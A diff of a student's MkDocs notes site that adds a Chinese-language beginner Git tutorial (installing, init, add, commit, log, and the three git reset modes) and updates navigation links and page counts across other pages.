+<p><div class="language-bash highlight"><pre><span></span><code><span id="__span-17-1"><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a>git<span class="w"> </span>commit<span class="w"> </span>-m<span class="w"> </span><span class="s2">&quot;提交信息&quot;</span>
+</span></code></pre></div>
+例如,在上面的例子中,我们可以运行</p>
+<p><div class="language-bash highlight"><pre><span></span><code><span id="__span-18-1"><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a>git<span class="w"> </span>commit<span class="w"> </span>-m<span class="w"> </span><span class="s2">&quot;添加text.txt文件&quot;</span>
+</span></code></pre></div>
+来进行提交</p>
+<figure>
+<img alt="Image title" src="img/commit.png" width="500" />
+<figcaption>提交</figcaption>
+</figure>
+<p>查看信息</p>
+<p><div class="language-text highlight"><pre><span></span><code><span id="__span-19-1"><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a>[master (root-commit) f81217a] 添加text.txt文件
+</span><span id="__span-19-2"><a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a> 1 file changed, 1 insertion(+)
+</span><span id="__span-19-3"><a id="__codelineno-19-3" name="__codelineno-19-3" href="#__codelineno-19-3"></a> create mode 100644 text.txt
+</span></code></pre></div>
+这条信息表示我们在 master 分支上进行了一个根提交（root-commit），提交的哈希值是 f81217a。提交信息为“添加text.txt文件”。在这次提交中，有一个文件发生了变化，进行了1次插入操作，并且创建了一个新的文件 text.txt，文件权限为 100644。文件权限 100644 表示这是一个普通文件，所有者有读写权限，组用户和其他用户有只读权限。</p>
+<p>我们可以通过
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-20-1"><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a>git<span class="w"> </span>log
+</span></code></pre></div>
+来查看提交信息</p>
+<figure>
+<img alt="Image title" src="img/log.png" width="500" />
+<figcaption>查看提交信息</figcaption>
+</figure>
+<p>这里展示了完整的提交信息,包括提交的哈希值,提交信息,提交时间,提交者等信息，如果不想要看到这么多信息,可以使用</p>
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-21-1"><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a>git<span class="w"> </span>log<span class="w"> </span>--oneline
+</span></code></pre></div>
+<figure>
+<img alt="Image title" src="img/log1.png" width="500" />
+<figcaption>查看提交信息</figcaption>
+</figure>
+<h3 id="_7">版本回退<a class="headerlink" href="#_7" title="Permanent link">&para;</a></h3>
+<p>设想这样一个场景,你修改了十次文件,然后你发现你修改错了,现在你想要回到你修改前的状态,如果没有git,而你的编辑器又恰好不能一直<code>Ctrl+Z</code>到你修改前的状态,那么你只能手动一个一个的改回去,这显然是非常麻烦的,而git可以轻松的解决这个问题</p>
+<p>Git使用git reset 命令来回退版本,git reset 命令有三个参数</p>
+<ol>
+<li>--soft: 回退到某个版本,但是不改变任何东西</li>
+<li>--hard: 回退到某个版本,并丢弃工作区,和暂存区的所有修改内容</li>
+<li>--mixed: 回退到某个版本,保留工作区的修改，丢弃暂存区的修改</li>
+</ol>
+<figure>
+<img alt="Image title" src="img/reset.png" width="500" />
+<figcaption>绿色代表保存,红色代表丢弃</figcaption>
+</figure>
+<p>接下来我们具体看看它们是怎么工作的,首先我们创建两个文件,并进行两次提交</p>
+<figure>
+<img alt="Image title" src="img/reset1.png" width="500" />
+<figcaption>创建两个文件,并进行两次提交</figcaption>
+</figure>
+<p>此时Head指向的是第三次提交,也就是master分支的最新版本,此时工作区有三个文件,暂存区为空</p>
+<div align="center">
+<img src="./img/reset2.png" width="500">
+</div>
+
+<p>为了方便比对三种不同指令,将这个仓库复制两个副本,分别命名为git_practice1和git_practice2</p>
+<h4 id="-soft">--soft<a class="headerlink" href="#-soft" title="Permanent link">&para;</a></h4>
+<p>现在,我们修改text1.txt文件,并进行一次add</p>
+<div align="center">
+<img src="./img/reset3.png" width="500">
+</div>
+
+<p>现在，使用soft指令回退到第第一次提交</p>
+<div align="center">
+<img src="./img/reset4.png" width="500">
+</div>
+
+<p>可以看到,工作区没有发生任何变化,但是暂存区发生了变化,我们之前提交的text2和text3文件变成了new file;</p>
+<div align="center">
+<img src="./img/reset5.png" width="500">
+</div>
+
+<p>同时两次提交都不见了,HEAD指向了第一次提交</p>
+<p><strong>soft指令保存所有的更改,仅仅在commmit种有变化,这在处理只想要回退到某个版本,但是不想要丢弃工作区,和暂存区的修改时非常有用</strong></p>
+<h4 id="-hard">--hard<a class="headerlink" href="#-hard" title="Permanent link">&para;</a></h4>
+<p>现在,我们进入git_practice1,并进行一次add</p>
+<p>使用hard指令回退到第一次提交</p>
+<div align="center">
+<img src="./img/reset6.png" width="500">
+</div>
+
+<p>可以看到,工作区,暂存区,和提交都发生了变化,工作区,暂存区,和提交都变成了第一次提交的样子</p>
+<p><strong>相当于第二次第三次提交以及它们的修改都没有发生过,执行类似于<code>Ctrl+Z</code>的操作</strong></p>
+<h4 id="-mixed">--mixed<a class="headerlink" href="#-mixed" title="Permanent link">&para;</a></h4>
+<p>现在,我们进入git_practice2,并进行一次add，然后使用mixed指令回退到第一次提交</p>
+<div align="center">
+<img src="./img/reset7.png" width="500">
+</div>
+
+<p>可以看到,暂存区空空如也,而工作区仍然是修改后的样子,<strong>相当于进行了修改,但是没有进行任何提交</strong></p>
+<div class="admonition warning">
+<p class="admonition-title">注意</p>
+<p><code>--Hard</code>会丢弃所有的修改,一定要慎用,一般都推荐使用<code>--soft</code>和<code>--mixed</code></p>
+<p>同时在上面我们也可以发现,使用soft的时候,不会给你任何提示,使用hard会告诉你现在head在哪里,使用mixed会告诉你unstaged changes,也就是未暂存的变化(在上面的例子中是M text.txt),即修改后(Modified)的text.txt文件从暂存区中移除</p>
+<p>在实践过程中,可以使用<code>git ls-files</code>来查看暂存区中的文件</p>
+<p>可以使用<code>git status</code>来查看工作区,暂存区,和提交的状态</p>
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index 35c71f3..0643392 100755
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@@ -1087,6 +1087,10 @@
       
         
           
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             </div>
           </a>
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--- a/NOTE/CS/index.html
+++ b/NOTE/CS/index.html
@@ -18,7 +18,7 @@
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-        <link rel="next" href="Verilog/verilog/">
+        <link rel="next" href="GIT/">
       
       
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@@ -1087,6 +1087,10 @@
       
         
           
+        
+      
+        
+          
         
       
         
@@ -1149,6 +1153,27 @@
   
   
   
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+        
+  
+  <span class="md-ellipsis">
+    Git
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+              
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+  
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@@ -1420,7 +1445,7 @@
 
 <h1 id="_1">一些自学<a class="headerlink" href="#_1" title="Permanent link">&para;</a></h1>
 <div style="margin-top: -30px; font-size: 0.75em; opacity: 0.7;">
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+<p><span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12a10 10 0 0 0 10 10 10 10 0 0 0 10-10h-2a8 8 0 0 1-8 8 8 8 0 0 1-8-8 8 8 0 0 1 8-8V2m6.78 1a.69.69 0 0 0-.48.2l-1.22 1.21 2.5 2.5L20.8 5.7c.26-.26.26-.7 0-.95L19.25 3.2c-.13-.13-.3-.2-.47-.2m-2.41 2.12L9 12.5V15h2.5l7.37-7.38-2.5-2.5Z"/></svg></span> 约 19 个字 </p>
 </div>
 <blockquote>
 <p>不定期更新</p>
@@ -1430,6 +1455,7 @@ <h1 id="_1">一些自学<a class="headerlink" href="#_1" title="Permanent link">
 <li><a href="ASM/wk1/">汇编基础</a></li>
 <li><a href="Verilog/verilog/">Verilog</a></li>
 <li><a href="RUST/RUST/">Rust</a></li>
+<li><a href="GIT/">Git</a></li>
 </ul>
 
 
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-          <a href="Verilog/verilog/" class="md-footer__link md-footer__link--next" aria-label="下一页: verilog学习笔记">
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             <div class="md-footer__title">
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                 下一页
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-                verilog学习笔记
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 <h1 id="_1">外语学习<a class="headerlink" href="#_1" title="Permanent link">&para;</a></h1>
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 </div>
 <p>这里存放一些外语学习笔记，虽然目前只有英语。</p>
+<ul>
+<li><a href="https://qwerty.kaiyi.cool/">在线练习</a></li>
+</ul>
 
 
 
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+  
     <li class="md-nav__item">
       <a href="../../CS/Verilog/verilog/" class="md-nav__link">
         
diff --git a/NOTE/Probability/Fourth/index.html b/NOTE/Probability/Fourth/index.html
index a98c674..db6f600 100755
--- a/NOTE/Probability/Fourth/index.html
+++ b/NOTE/Probability/Fourth/index.html
@@ -1379,6 +1379,10 @@
       
         
           
+        
+      
+        
+          
         
       
         
@@ -1443,6 +1447,27 @@
   
   
   
+    <li class="md-nav__item">
+      <a href="../../CS/GIT/" class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    Git
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
     <li class="md-nav__item">
       <a href="../../CS/Verilog/verilog/" class="md-nav__link">
         
diff --git a/NOTE/Probability/Third/index.html b/NOTE/Probability/Third/index.html
index f211a90..c5f063c 100755
--- a/NOTE/Probability/Third/index.html
+++ b/NOTE/Probability/Third/index.html
@@ -1457,6 +1457,10 @@
       
         
           
+        
+      
+        
+          
         
       
         
@@ -1521,6 +1525,27 @@
   
   
   
+    <li class="md-nav__item">
+      <a href="../../CS/GIT/" class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    Git
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
     <li class="md-nav__item">
       <a href="../../CS/Verilog/verilog/" class="md-nav__link">
         
diff --git a/NOTE/Probability/first/index.html b/NOTE/Probability/first/index.html
index 3962e1e..2fecaaf 100755
--- a/NOTE/Probability/first/index.html
+++ b/NOTE/Probability/first/index.html
@@ -1442,6 +1442,10 @@
       
         
           
+        
+      
+        
+          
         
       
         
@@ -1506,6 +1510,27 @@
   
   
   
+    <li class="md-nav__item">
+      <a href="../../CS/GIT/" class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    Git
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
     <li class="md-nav__item">
       <a href="../../CS/Verilog/verilog/" class="md-nav__link">
         
diff --git a/NOTE/Probability/index.html b/NOTE/Probability/index.html
index cddba1d..985cea5 100755
--- a/NOTE/Probability/index.html
+++ b/NOTE/Probability/index.html
@@ -1207,6 +1207,10 @@
       
         
           
+        
+      
+        
+          
         
       
         
@@ -1271,6 +1275,27 @@
   
   
   
+    <li class="md-nav__item">
+      <a href="../CS/GIT/" class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    Git
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
     <li class="md-nav__item">
       <a href="../CS/Verilog/verilog/" class="md-nav__link">
         
diff --git a/NOTE/Probability/others/index.html b/NOTE/Probability/others/index.html
index 41fc133..9e71396 100755
--- a/NOTE/Probability/others/index.html
+++ b/NOTE/Probability/others/index.html
@@ -1256,6 +1256,10 @@
       
         
           
+        
+      
+        
+          
         
       
         
@@ -1320,6 +1324,27 @@
   
   
   
+    <li class="md-nav__item">
+      <a href="../../CS/GIT/" class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    Git
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
     <li class="md-nav__item">
       <a href="../../CS/Verilog/verilog/" class="md-nav__link">
         
diff --git a/NOTE/Probability/second/index.html b/NOTE/Probability/second/index.html
index 42306ea..6d4a287 100755
--- a/NOTE/Probability/second/index.html
+++ b/NOTE/Probability/second/index.html
@@ -1454,6 +1454,10 @@
       
         
           
+        
+      
+        
+          
         
       
         
@@ -1518,6 +1522,27 @@
   
   
   
+    <li class="md-nav__item">
+      <a href="../../CS/GIT/" class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    Git
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
     <li class="md-nav__item">
       <a href="../../CS/Verilog/verilog/" class="md-nav__link">
         
diff --git a/NOTE/index.html b/NOTE/index.html
index d80ab0b..d729fce 100755
--- a/NOTE/index.html
+++ b/NOTE/index.html
@@ -1085,6 +1085,10 @@
       
         
           
+        
+      
+        
+          
         
       
         
@@ -1149,6 +1153,27 @@
   
   
   
+    <li class="md-nav__item">
+      <a href="CS/GIT/" class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    Git
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
     <li class="md-nav__item">
       <a href="CS/Verilog/verilog/" class="md-nav__link">
         
diff --git a/index.html b/index.html
index f26c548..f9a1ff8 100755
--- a/index.html
+++ b/index.html
@@ -708,7 +708,7 @@ <h1 id="71229">欢迎来到71229号港湾 <span class="twemoji"><svg xmlns="http
 <p>这里是Kailqq的笔记本，记录了我在学习过程中的一些心得和笔记，希望对你有帮助。</p>
 <blockquote>
 <p>长期摸鱼，尽量更新</p>
-<p>目前共 61 个页面，约 140335 字，2504 行代码。</p>
+<p>目前共 62 个页面，约 142294 字，2526 行代码。</p>
 </blockquote>
 <h3 id="_1">目前要做什么呢<a class="headerlink" href="#_1" title="Permanent link">&para;</a></h3>
 <ul class="task-list">
diff --git a/print_page/index.html b/print_page/index.html
index 8a6b1e5..de5be4d 100755
--- a/print_page/index.html
+++ b/print_page/index.html
@@ -693,7 +693,7 @@ <h1 id="index-71229">欢迎来到71229号港湾 <span class="twemoji"><svg xmlns
 <p>这里是Kailqq的笔记本，记录了我在学习过程中的一些心得和笔记，希望对你有帮助。</p>
 <blockquote>
 <p>长期摸鱼，尽量更新</p>
-<p>目前共 61 个页面，约 140335 字，2504 行代码。</p>
+<p>目前共 62 个页面，约 142294 字，2526 行代码。</p>
 </blockquote>
 <h3 id="index-_1">目前要做什么呢<a class="headerlink" href="#index-_1" title="Permanent link">&para;</a></h3>
 <ul class="task-list">
@@ -17144,7 +17144,7 @@ <h2 class='nav-section-title' id='section-cs'>
                         </h2>
                         <section class="print-page" id="note-cs"><h1 id="note-cs-_1">一些自学<a class="headerlink" href="#note-cs-_1" title="Permanent link">&para;</a></h1>
 <div style="margin-top: -30px; font-size: 0.75em; opacity: 0.7;">
-<p><span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12a10 10 0 0 0 10 10 10 10 0 0 0 10-10h-2a8 8 0 0 1-8 8 8 8 0 0 1-8-8 8 8 0 0 1 8-8V2m6.78 1a.69.69 0 0 0-.48.2l-1.22 1.21 2.5 2.5L20.8 5.7c.26-.26.26-.7 0-.95L19.25 3.2c-.13-.13-.3-.2-.47-.2m-2.41 2.12L9 12.5V15h2.5l7.37-7.38-2.5-2.5Z"/></svg></span> 约 18 个字 </p>
+<p><span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12a10 10 0 0 0 10 10 10 10 0 0 0 10-10h-2a8 8 0 0 1-8 8 8 8 0 0 1-8-8 8 8 0 0 1 8-8V2m6.78 1a.69.69 0 0 0-.48.2l-1.22 1.21 2.5 2.5L20.8 5.7c.26-.26.26-.7 0-.95L19.25 3.2c-.13-.13-.3-.2-.47-.2m-2.41 2.12L9 12.5V15h2.5l7.37-7.38-2.5-2.5Z"/></svg></span> 约 19 个字 </p>
 </div>
 <blockquote>
 <p>不定期更新</p>
@@ -17154,7 +17154,234 @@ <h2 class='nav-section-title' id='section-cs'>
 <li><a href="#note-cs-asm-wk1">汇编基础</a></li>
 <li><a href="#note-cs-verilog-verilog">Verilog</a></li>
 <li><a href="#note-cs-rust-rust">Rust</a></li>
-</ul></section><section class="print-page" id="note-cs-verilog-verilog"><h1 id="note-cs-verilog-verilog-verilog-">Verilog 学习笔记-入门篇<a class="headerlink" href="#note-cs-verilog-verilog-verilog-" title="Permanent link">&para;</a></h1>
+<li><a href="#note-cs-git">Git</a></li>
+</ul></section><section class="print-page" id="note-cs-git"><h1 id="note-cs-git-git">Git 笔记<a class="headerlink" href="#note-cs-git-git" title="Permanent link">&para;</a></h1>
+<div style="margin-top: -30px; font-size: 0.75em; opacity: 0.7;">
+<p><span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12a10 10 0 0 0 10 10 10 10 0 0 0 10-10h-2a8 8 0 0 1-8 8 8 8 0 0 1-8-8 8 8 0 0 1 8-8V2m6.78 1a.69.69 0 0 0-.48.2l-1.22 1.21 2.5 2.5L20.8 5.7c.26-.26.26-.7 0-.95L19.25 3.2c-.13-.13-.3-.2-.47-.2m-2.41 2.12L9 12.5V15h2.5l7.37-7.38-2.5-2.5Z"/></svg></span> 约 1954 个字 <span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!--! Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3l89.3 89.4-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg></span> 22 行代码 <span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 20c4.42 0 8-3.58 8-8s-3.58-8-8-8-8 3.58-8 8 3.58 8 8 8m0-18c5.5 0 10 4.5 10 10s-4.5 10-10 10C6.47 22 2 17.5 2 12S6.5 2 12 2m.5 11H11V7h1.5v4.26l3.7-2.13.75 1.3L12.5 13Z"/></svg></span> 预计阅读时间 7 分钟</p>
+</div>
+<p>作为计科专业的学生,怎么能不会Git呢</p>
+<p>git命令比较多,有些命令的意义比较长难以一直记住,在这里推荐一个非常好用的工具<a href="https://tldr.sh/">tldr</a>，Too long don't read~</p>
+<h2 id="note-cs-git-_1">安装<a class="headerlink" href="#note-cs-git-_1" title="Permanent link">&para;</a></h2>
+<p>Windows 用户可以通过<a href="https://git-scm.com/download/win">Git官网</a>下载安装包进行安装</p>
+<p>Linux 用户可以通过以下命令进行安装</p>
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-0-1"><a id="__codelineno-0-1" name="__codelineno-0-1" href="#note-cs-git-__codelineno-0-1"></a>sudo<span class="w"> </span>apt-get<span class="w"> </span>update
+</span><span id="__span-0-2"><a id="__codelineno-0-2" name="__codelineno-0-2" href="#note-cs-git-__codelineno-0-2"></a>sudo<span class="w"> </span>apt-get<span class="w"> </span>install<span class="w"> </span>git
+</span></code></pre></div>
+<p>macOS 用户可以通过以下命令进行安装</p>
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-1-1"><a id="__codelineno-1-1" name="__codelineno-1-1" href="#note-cs-git-__codelineno-1-1"></a>brew<span class="w"> </span>install<span class="w"> </span>git
+</span></code></pre></div>
+<h3 id="note-cs-git-_2">检验是否安装成功<a class="headerlink" href="#note-cs-git-_2" title="Permanent link">&para;</a></h3>
+<p>在终端中输入以下命令,如果出现版本号,则说明安装成功</p>
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-2-1"><a id="__codelineno-2-1" name="__codelineno-2-1" href="#note-cs-git-__codelineno-2-1"></a>git<span class="w"> </span>--version
+</span></code></pre></div>
+<div class="admonition info">
+<p class="admonition-title">git 是怎么工作的</p>
+<p>首先,有以下几个概念</p>
+<ol>
+<li>
+<p><strong>工作区 (Working Directory)</strong>: 这是你在本地计算机上看到的文件和目录。你在这里进行文件的添加、修改和删除操作。</p>
+</li>
+<li>
+<p><strong>暂存区 (Staging Area)</strong>: 当你对工作区中的文件进行修改后，可以使用 <code>git add</code> 命令将这些修改添加到暂存区。暂存区是一个临时区域,它是工作区和本地仓库的桥梁，起到缓冲的作用,用于记录即将提交的更改。</p>
+</li>
+<li>
+<p><strong>本地仓库 (Local Repository)</strong>: 使用 <code>git commit</code> 命令将暂存区中的更改提交到本地仓库。提交后，这些更改将被记录在本地仓库的历史记录中。</p>
+</li>
+<li>
+<p><strong>远程仓库 (Remote Repository)</strong>: 远程仓库是存储在服务器上的 Git 仓库。你可以使用 <code>git push</code> 命令将本地仓库中的更改推送到远程仓库，或者使用 <code>git pull</code> 命令从远程仓库拉取最新的更改。</p>
+</li>
+<li>
+<p><strong>版本库 (Repository)</strong>: 版本库是 Git 用来保存项目历史记录的地方。它包含了所有提交的记录和项目的所有版本。在本地仓库中,版本库是.git文件夹,在远程仓库中,版本库是远程仓库里面的.git文件夹</p>
+</li>
+</ol>
+<p><figure markdown="span">
+<img alt="Image title" src="../NOTE/CS/GIT/img/git.png" width="500" />
+<figcaption>示意图</figcaption>
+</figure></p>
+<p><figure markdown="span">
+<img alt="Image title" src="../NOTE/CS/GIT/img/git1.png" width="500" />
+<figcaption>版本库,工作区和暂存区</figcaption>
+</figure></p>
+</div>
+<h2 id="note-cs-git-_3">本地操作<a class="headerlink" href="#note-cs-git-_3" title="Permanent link">&para;</a></h2>
+<h3 id="note-cs-git-_4">初始化<a class="headerlink" href="#note-cs-git-_4" title="Permanent link">&para;</a></h3>
+<p>创建一个文件夹,然后进入文件夹,在终端中输入以下命令</p>
+<p><div class="language-bash highlight"><pre><span></span><code><span id="__span-3-1"><a id="__codelineno-3-1" name="__codelineno-3-1" href="#note-cs-git-__codelineno-3-1"></a>git<span class="w"> </span>init
+</span></code></pre></div>
+这条命令会在当前目录下创建一个.git文件夹,这个文件夹就是版本库</p>
+<figure>
+<img alt="Image title" src="../NOTE/CS/GIT/img/init.png" width="500" />
+<figcaption>初始化</figcaption>
+</figure>
+<h3 id="note-cs-git-_5">添加文件<a class="headerlink" href="#note-cs-git-_5" title="Permanent link">&para;</a></h3>
+<p>此时 <strong>工作区</strong> 中有一个text.txt文件,现在我们想把这个文件添加到 <strong>暂存区</strong> 中</p>
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-4-1"><a id="__codelineno-4-1" name="__codelineno-4-1" href="#note-cs-git-__codelineno-4-1"></a>git<span class="w"> </span>add<span class="w"> </span>text.txt
+</span></code></pre></div>
+<p>此时 <strong>暂存区</strong> 中就多了一个text.txt文件，我们可以使用</p>
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-5-1"><a id="__codelineno-5-1" name="__codelineno-5-1" href="#note-cs-git-__codelineno-5-1"></a>git<span class="w"> </span>status
+</span></code></pre></div>
+<p>来查看 <strong>暂存区</strong> 中的文件</p>
+<figure>
+<img alt="Image title" src="../NOTE/CS/GIT/img/add.png" width="500" />
+<figcaption>添加文件</figcaption>
+</figure>
+<p>在这里,将文件加入暂存区后,文件就在暂存区中等待我们的提交(Commit)了</p>
+<details class="note">
+<summary>常见的 git add 的指令</summary>
+<ol>
+<li>
+<p>添加单个文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-6-1"><a id="__codelineno-6-1" name="__codelineno-6-1" href="#note-cs-git-__codelineno-6-1"></a>git<span class="w"> </span>add<span class="w"> </span>&lt;filename&gt;
+</span></code></pre></div>
+例如，添加 <code>text.txt</code> 文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-7-1"><a id="__codelineno-7-1" name="__codelineno-7-1" href="#note-cs-git-__codelineno-7-1"></a>git<span class="w"> </span>add<span class="w"> </span>text.txt
+</span></code></pre></div></p>
+</li>
+<li>
+<p>添加多个文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-8-1"><a id="__codelineno-8-1" name="__codelineno-8-1" href="#note-cs-git-__codelineno-8-1"></a>git<span class="w"> </span>add<span class="w"> </span>&lt;file1&gt;<span class="w"> </span>&lt;file2&gt;<span class="w"> </span>&lt;file3&gt;
+</span></code></pre></div>
+例如，添加 <code>file1.txt</code>、<code>file2.txt</code> 和 <code>file3.txt</code>：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-9-1"><a id="__codelineno-9-1" name="__codelineno-9-1" href="#note-cs-git-__codelineno-9-1"></a>git<span class="w"> </span>add<span class="w"> </span>file1.txt<span class="w"> </span>file2.txt<span class="w"> </span>file3.txt
+</span></code></pre></div></p>
+</li>
+<li>
+<p>添加当前目录下的所有文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-10-1"><a id="__codelineno-10-1" name="__codelineno-10-1" href="#note-cs-git-__codelineno-10-1"></a>git<span class="w"> </span>add<span class="w"> </span>.
+</span></code></pre></div>
+这条命令会将当前目录下的所有更改添加到暂存区。</p>
+</li>
+<li>
+<p>添加特定目录下的所有文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-11-1"><a id="__codelineno-11-1" name="__codelineno-11-1" href="#note-cs-git-__codelineno-11-1"></a>git<span class="w"> </span>add<span class="w"> </span>&lt;directory&gt;/
+</span></code></pre></div>
+例如，添加 <code>src</code> 目录下的所有文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-12-1"><a id="__codelineno-12-1" name="__codelineno-12-1" href="#note-cs-git-__codelineno-12-1"></a>git<span class="w"> </span>add<span class="w"> </span>src/
+</span></code></pre></div></p>
+</li>
+<li>
+<p>添加符合特定模式的文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-13-1"><a id="__codelineno-13-1" name="__codelineno-13-1" href="#note-cs-git-__codelineno-13-1"></a>git<span class="w"> </span>add<span class="w"> </span>*.txt
+</span></code></pre></div>
+这条命令会将当前目录下所有 <code>.txt</code> 文件添加到暂存区。</p>
+</li>
+<li>
+<p>交互式添加文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-14-1"><a id="__codelineno-14-1" name="__codelineno-14-1" href="#note-cs-git-__codelineno-14-1"></a>git<span class="w"> </span>add<span class="w"> </span>-i
+</span></code></pre></div>
+这条命令会进入交互模式，允许你选择性地添加文件。</p>
+</li>
+<li>
+<p>更新已追踪文件的更改：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-15-1"><a id="__codelineno-15-1" name="__codelineno-15-1" href="#note-cs-git-__codelineno-15-1"></a>git<span class="w"> </span>add<span class="w"> </span>-u
+</span></code></pre></div>
+这条命令只会添加已追踪文件的更改，不会添加新文件。</p>
+</li>
+<li>
+<p>添加所有更改，包括未追踪文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-16-1"><a id="__codelineno-16-1" name="__codelineno-16-1" href="#note-cs-git-__codelineno-16-1"></a>git<span class="w"> </span>add<span class="w"> </span>-A
+</span></code></pre></div>
+这条命令会将所有更改（包括新文件和删除的文件）添加到暂存区。</p>
+</li>
+</ol>
+<p>这些指令可以帮助你根据不同的需求灵活地将文件添加到 Git 的暂存区中。</p>
+</details>
+<h3 id="note-cs-git-_6">提交<a class="headerlink" href="#note-cs-git-_6" title="Permanent link">&para;</a></h3>
+<p><div class="language-bash highlight"><pre><span></span><code><span id="__span-17-1"><a id="__codelineno-17-1" name="__codelineno-17-1" href="#note-cs-git-__codelineno-17-1"></a>git<span class="w"> </span>commit<span class="w"> </span>-m<span class="w"> </span><span class="s2">&quot;提交信息&quot;</span>
+</span></code></pre></div>
+例如,在上面的例子中,我们可以运行</p>
+<p><div class="language-bash highlight"><pre><span></span><code><span id="__span-18-1"><a id="__codelineno-18-1" name="__codelineno-18-1" href="#note-cs-git-__codelineno-18-1"></a>git<span class="w"> </span>commit<span class="w"> </span>-m<span class="w"> </span><span class="s2">&quot;添加text.txt文件&quot;</span>
+</span></code></pre></div>
+来进行提交</p>
+<figure>
+<img alt="Image title" src="../NOTE/CS/GIT/img/commit.png" width="500" />
+<figcaption>提交</figcaption>
+</figure>
+<p>查看信息</p>
+<p><div class="language-text highlight"><pre><span></span><code><span id="__span-19-1"><a id="__codelineno-19-1" name="__codelineno-19-1" href="#note-cs-git-__codelineno-19-1"></a>[master (root-commit) f81217a] 添加text.txt文件
+</span><span id="__span-19-2"><a id="__codelineno-19-2" name="__codelineno-19-2" href="#note-cs-git-__codelineno-19-2"></a> 1 file changed, 1 insertion(+)
+</span><span id="__span-19-3"><a id="__codelineno-19-3" name="__codelineno-19-3" href="#note-cs-git-__codelineno-19-3"></a> create mode 100644 text.txt
+</span></code></pre></div>
+这条信息表示我们在 master 分支上进行了一个根提交（root-commit），提交的哈希值是 f81217a。提交信息为“添加text.txt文件”。在这次提交中，有一个文件发生了变化，进行了1次插入操作，并且创建了一个新的文件 text.txt，文件权限为 100644。文件权限 100644 表示这是一个普通文件，所有者有读写权限，组用户和其他用户有只读权限。</p>
+<p>我们可以通过
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-20-1"><a id="__codelineno-20-1" name="__codelineno-20-1" href="#note-cs-git-__codelineno-20-1"></a>git<span class="w"> </span>log
+</span></code></pre></div>
+来查看提交信息</p>
+<figure>
+<img alt="Image title" src="../NOTE/CS/GIT/img/log.png" width="500" />
+<figcaption>查看提交信息</figcaption>
+</figure>
+<p>这里展示了完整的提交信息,包括提交的哈希值,提交信息,提交时间,提交者等信息，如果不想要看到这么多信息,可以使用</p>
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-21-1"><a id="__codelineno-21-1" name="__codelineno-21-1" href="#note-cs-git-__codelineno-21-1"></a>git<span class="w"> </span>log<span class="w"> </span>--oneline
+</span></code></pre></div>
